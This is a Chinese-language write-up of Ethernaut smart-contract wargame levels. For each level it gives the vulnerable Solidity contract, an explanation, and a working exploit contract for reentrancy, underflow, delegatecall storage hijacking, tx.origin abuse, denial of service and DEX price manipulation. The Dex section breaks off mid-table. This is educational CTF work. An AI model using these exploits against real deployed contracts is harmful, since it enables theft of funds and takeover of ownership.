Etherenum-WriteUp

Etherenum-Writeup

Coin Flip

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

可以注意到最后生成的bool实际结果取决于block.number

而block.number为当前整个以太坊网络上的区块编号,我们是可以获取的

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract Exploit{
CoinFlip private coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 lastHash;
constructor(address _address){
coinflip = CoinFlip(_address);
}
function hack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
bool res = coinflip.flip(side);
require(res, 'guess faild');
}
}

然后按10下Hack即可通关

image-20231204115234737

Telephone

Claim ownership of the contract below to complete this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的owner

这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是没有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户

16450711251.jpg

Exp:

1
2
3
4
5
6
7
8
9
contract Exp {
Telephone private telephone;
constructor(address _address) {
telephone = Telephone(_address);
}
function exp(address _owner) external {
telephone.changeOwner(_owner);
}
}

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

使用的是0.6.0之前的solidity,没有溢出检查

转1个Token让他下溢即可

1
2
3
4
5
6
7
8
9
contract Exploit {
Token private token;
constructor(address _address){
token = Token(_address);
}
function hack(uint _value) external {
token.transfer(0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27, _value);
}
}

Delegation

The goal of this level is for you to claim ownership of the instance you are given

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

当用户A通过合约Bdelegatecall合约C的时候,执行的是合约C的函数,但是语境仍是合约B的:msg.senderA的地址,并且如果函数改变一些状态变量,产生的效果会作用于合约B的变量上

也就是说通过Delegation去delegatecall执行Delegate的pwn方法,改变的owner是Delegation的

那么只要执行Delegation的fallback就行了,众所周知随便执行一个合约不存在的方法就会调他的fallback

Exp:

1
2
3
4
5
contract Exploit{
function pwn() public {
0x9f6b08E407C0802278efFd39BAe35BE9A09a4633.call(abi.encodeWithSignature("pwn()"));
}
}

交易的时候记得把gas限制调大(不然可能无法修改地址 卡了好久T^T)

但是这样是不行的

因为这样的话msg.sender是我们部署的合约而不是调用者

image-20231205002414234

直接把Exploit合约atAddress到Delegation的address

image-20231205002517108

然后执行他的pwn方法,这其实就等价于执行了对应地址上Delegation合约的pwn方法

Force

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

直接用selfdestruct在销毁部署合约的同时给Force合约转账就行

1
2
3
4
5
6
7
contract Exploit {
constructor() payable {}
function pwn(address payable _address) public payable {
selfdestruct(_address);
}

}

Vault

Unlock the vault to pass the level!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

这是一个部署在区块链上的智能合约,而区块链上的所有信息都是公开的

private仅为不能从外部合约访问变量的值

1
await web3.eth.getStorageAt(instance, 1)

得到密码A very strong secret password :)

然后直接用密码unlock就能通关

King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

庞氏骗局,向合约转钱的时候会把你转给合约的钱转给上一个向合约转钱的人

目标是让自己一直成为king

那只要自己部署的合约在接受转账的时候报错就行了,当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King

Exp:

1
2
3
4
5
6
7
8
contract Exploit {
function pwn(address payable _address) payable external {
_address.call{value: msg.value}("");
}
receive() external payable {
revert();
}
}

Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

重入攻击

在攻击者构造的合约的receive函数种递归调用Reentrance合约的withdraw,可以在balances[msg.sender] -= _amount 之前多次转账

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Exploit {
constructor() public payable{}
event Log(uint balance);
Reentrance private reentrance = Reentrance(0x28DfB23dfCdeF355Be69612b4c12C246292fAE9D);
function pwn() external {
// donate
payable(address(reentrance)).call{value: 1000000000000000}(abi.encodeWithSignature("donate(address)", address(this)));
emit Log(reentrance.balanceOf(address(this)));
// withdraw
reentrance.withdraw(1000000000000000);
}
receive() external payable {
reentrance.withdraw(1000000000000000);
emit Log(address(this).balance);
}
}

elevator

This elevator won’t let you reach the top of your building. Right?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

image-20231205151716971

Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

bool public locked 为 1 byte 在slot0

uint256 public ID 为 32 byte,slot0已经有一个1byte的数据了,放不下,所以占据整个slot1

flattening,denomination,awkwardness分别为8byte,8byte,16byte,在slot2

data数组中的每一个元素为32byte,占据一个slot

因此bytes32[2]在slot5

await web3.eth.getStorageAt(instance, 5)

得到

1
0xb18abbe89d96b147d06131b87441f19870cf369348e21e55cc330243df3dc5fd
1
require(_key == bytes16(data[2]));

那么取前16byte即可

1
0xb18abbe89d96b147d06131b87441f198

image-20231205161943216

Gatekepper

Make it past the gatekeeper and register as an entrant to pass this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}

gateOwn 只需要通过一个攻击合约去调GatekeeperOne的enter,此时tx.origin是攻击者,msg.sender是攻击合约

gateTwo 可以通过爆破来找到一个i,使得消耗i gas后剩余的gas为8191*n

gateThree 需要满足以下三个条件:

假设 gatekey 为 0xb1b2b3b4b5b6b7b8

1
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))

意味着 0xb5b6b7b8 == 0x0000b7b8 也就是b5和b6均为0x00

1
uint32(uint64(_gateKey)) != uint64(_gateKey)

意味着b1 b2 b3 b4 不全为0x00

1
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

意味着gatekey的低两位即b1b2为tx.origin的低两位

以上

那么只需要将tx.origin与上0xFFFFFFFF0000FFFF 即可

最终Exp:

1
2
3
4
5
6
7
8
9
10
11
contract Exploit {
function exploit() public{
bytes8 _key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint256 i = 1; i < 300 ; i++){
(bool success, ) = address(0x8dd6eD2f7198a199ee0690d2fDC04845c4D1840A).call{gas: 8191*3+i}(abi.encodeWithSignature("enter(bytes8)", _key));
if(success){
break;
}
}
}
}

Gatekepper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne 通过调攻击合约调目标合约的enter即可

gateTwo 这里用到了

1
assembly { x := extcodesize(caller()) }

assembly用来调EVM的代码 这个的意思是获取调用者代码的长度存入x变量中

如果调用者不是合约而是账户的话代码长度默认为0,但这样就过不了前面的msg.sender != tx.origin

智能合约在编译时会分为两种不同的字节码:

creation bytecoderuntime bytecode

creation bytecode 是 以太坊创建合约并仅执行一次构造函数所需的字节码

runtime bytecode 是合约的真实代码,存储在区块链中,将用于执行智能合约功能

当执行构造函数初始化合约存储时,address(contract).code.length返回runtime bytecode ,也就是说可以把攻击代码写在构造函数里,此时code的length为0

Exp:

1
2
3
4
5
6
7
8
contract Exploit {
event Log(bool success);
constructor() {
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
(bool success, ) = address(0x13B67a02e2073700a274518f31Ba9d254dCeB366).call(abi.encodeWithSignature("enter(bytes8)", _gateKey));
emit Log(success);
}
}

Naughty Coin

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

实现了ERC20代币,重写了ERC20的transfer 方法,但没有重写其transferFrom 方法,

transferFrom 可以转账授权的代币

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol

Exploit:

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IERC20} from '@openzeppelin/contracts/interfaces/IERC20.sol';

contract Exploit {
IERC20 naughtCoin = IERC20(0xaee1346F965C80D5DD92dbF340d58a6Ec777775C);
function exploit(uint value) public {
naughtCoin.transferFrom(0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27, address(this), value);
}
}

部署Exploit合约,得到地址0x4CC31dbd7fF1E215C69286419108C3C2Ac71CF14

那么先approve这个地址1000000000000000000000000 wei

再调Exploit的exploit方法把1000000000000000000000000 wei转走即可

image-20231212181427942

Preservation

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

这里用到了delegatecall

A合约通过delegatecall调B合约的方法,修改的状态变量会是作用在A上的

这边Preservation 通过 delegatecall 调了 LibraryContract的setTime,并修改了storedTime,由于storedTime占slot0,因此实际上是修改了Preservation slot0上的内容,也即timeZone1Library

那么我们第一步修改slot0,把timeZone1Library的地址修改成我们部署的攻击合约地址,第二步通过delegatecall调攻击合约的setTime方法修改slot3上的内容,也即owner的地址,即可完成owner的修改

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Exploit {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
Preservation preservation = Preservation(0x9bdA9ef79108556dF26e27B859e464f0baCFdE66);
function exploit() public{
// change timZone1Library address to this
preservation.setFirstTime(uint160(address(this)));
// changeOwner
preservation.setFirstTime(uint160(address(this)));

}
function setTime(uint _time) public{
owner = 0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27;
}
}

image-20231213112147871

Recovery

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

去etherscan上查一查就行了

image-20231213114812287

得到了创建合约的地址直接调destroy把钱转走就行了

image-20231213115623458

也可以通过计算合约的生成地址

以太坊合约的地址是根据创建者(sender)的地址以及创建者发送过的交易数量(nonce)来计算确定的。 sendernonce 进行RLP编码,然后用Keccak-256 进行hash计算。

如果sender为工厂合约,nonce就是该帐户创建的合约数量

因此可以通过这个公式计算合约地址:

1
address public a = address(keccak256(0xd6, 0x94, YOUR_ADDR, 0x01));

MagicNumber

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number.

Easy right? Well… there’s a catch.

The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.

Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.

Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

我们需要编写两组字节码,分别为Runtime bytecode(运行时字节码) 和 Initialization byte code(初始化字节码)

首先编写Runtime opcodes,直接返回宇宙的答案42就行了

首先使用MSTORE(p, v),其中 p 是位置或偏移量,v 是值。将42(0x2a) 存入0x80的slot位置处

1
2
3
PUSH1 0x2a  -->  0x602a
PUSH1 0x80 --> 0x6080
MSTORE --> 0x52 (Store value p=0x2a at position v=0x80 in memory)

然后返回存储的值

1
2
3
PUSH1 0x20  -->  0x6020
PUSH1 0x80 --> 0x6080
RETURN --> 0xf3 (Return value at p=0x80 slot and of size s=0x20)

以上就得到了Runtime bytecodes

1
0x602a60805260206080f3

然后编写初始化字节码

首先使用CODECOPY(t, f, s) 复制代码

t 为代码在内存中的目标偏移量。我们将其保存到 0x00 偏移量

f 是运行时操作码的当前位置,目前尚不清楚

s 是运行时代码的大小,即0x602a60805260206080f3 的大小,为10bytes

1
2
3
4
PUSH1 0x0a  --> 0x600a
PUSH1 0x?? --> 0x60??
PUSH1 0x00 --> 0x6000
CODECOPY --> 0x39

然后将runtime opcode返回给EVM

1
2
3
PUSH1 0x0a  -->  0x600a(Size of opcode is 10 bytes)
PUSH1 0x00 --> 0x6000(Value was stored in slot 0x00)
RETURN --> 0xf3 (Return value at p=0x00 slot and of size s=0x0a)

初始化操作码的字节码将变为 600a60__600039600a6000f3,总共 12 个字节。这意味着运行时操作码 f 的起始位置的缺失值将为索引 12 即 0x0c,从而使我们的最终字节码为 600a600c600039600a6000f3

然后我们可以将其组合起来,得到 600a600c600039600a6000f3602a60805260206080f3

Exp:

1
2
3
4
5
6
7
8
9
10
11
contract Exploit {
constructor(){
address solverAddr;
bytes memory code = hex"600a600c600039600a6000f3602a60805260206080f3";
assembly {
solverAddr := create(0, add(code, 0x20), mload(code)) // 前32位存长度
}
MagicNum magicNum = MagicNum(0x4Bd5e65Bd59B1d80F32954fC2f572F5a7351D82D);
magicNum.setSolver(solverAddr);
}
}

Alien

You’ve uncovered an Alien contract. Claim ownership to complete the level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

继承了Ownable,结合题目描述,有一个address代表着owner,为20字节,和下面的 bool public contact 一起存在slot0的位置

对于动态数组,有一个slot存放数组的长度,为slot i,剩下的 数组内容存放在keccak256(i)+n

因此对于该合约:

Slot Number Variables
0 bool contactaddress owner
1 codex.length
.. ..
keccak256(1) codex[0]
keccak256(1) + 1 codex[1]
2^256 - 1
0 bool contactaddress owner

我们想要覆盖owner,即覆盖slot 0

先让数组长度溢出,使用的合约版本为solidity 0.5.0,没有溢出检查。调用一次retract 即可让数组的长度变为 2^256-1

slot一共有2^256个

我们想要覆盖slot 0,即让

1
keccak256(1) + X = 0

X为数组下标,那么修改数组的第 0 - keccak256(1) 即可

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Exploit {
AlienCodeX alienCodeX = AlienCodeX(0x51D4b2cFa2304f7a0db7998a17c19399D97B8750);
function exploit() public{
alienCodeX.makeContact();
// overflow
alienCodeX.retract();
// cover the slot 0
uint index;
unchecked {
index = 0 - uint256(keccak256(abi.encode(1)));
}
alienCodeX.revise(index, bytes32(uint256(uint160(0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27))));
}
}

image-20231213182548175

Denial

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

在Solidity中,使用 call 进行外部函数调用时,如果目标函数执行过程中遇到了 revert 操作,调用方并不会直接导致整个交易失败。相反,它将捕获 false0 作为返回值,并且不会抛出异常

因此不能直接用revert();抛出一个异常导致接下来的交易失败

可以使用while(true){ } 无限循环

Exp:

1
2
3
4
5
6
7
8
9
10
11
contract Exploit {
Denial denial = Denial(payable(0xAA62B0644C8bF203762be55CAa46a6b5aEaEf112));
function exploit() public{
denial.setWithdrawPartner(address(this));
}
receive() external payable {
while(true){

}
}
}

Shop

Сan you get the item from the shop for less than the price asked?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

只要第一次调price()的时候返回大于100的数,第二次调price()的时候返回1即可

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Exploit {
Shop shop = Shop(0x8Dcb2ddEFDAe97d9F5903c4bD4a7E9b7eEe298A8);
function price() external view returns (uint) {
if(shop.isSold()){
return 1;
}else{
return 114514;
}
}
function exploit() public {
shop.buy();
}
}

Dex

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.

You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.

You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

需要将Dex的任意一种token清空

问题出在getSwapPrice中,转账的amount是

1
(amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))

大概就是:token2收到的代币 = (要交换的代币*转账接受地址的代币) / 转账发送地址的代币

这里返回的是uint,意味着代币金额将四舍五入为零。因此,通过在 token1 和 token2 之间进行连续的代币交换,我们可以将合约中一种代币的总余额减少到零

初始用户代币各位10 Dex各为100

step pool/player token1 token2
Initialize pool 100 100
player 10 10
token1 -> token2 : 10 pool 110 90
10*100 / 100 = 10 player 0 20
token2 -> token1 : 20 pool 86 110
20 * 110 / 90 = 24 player 24 0
token1 -> token2 : 24 pool 110 80
24 * 110 / 86 = 30 player 0 30
token2 -> token1 : 30 pool 69 110
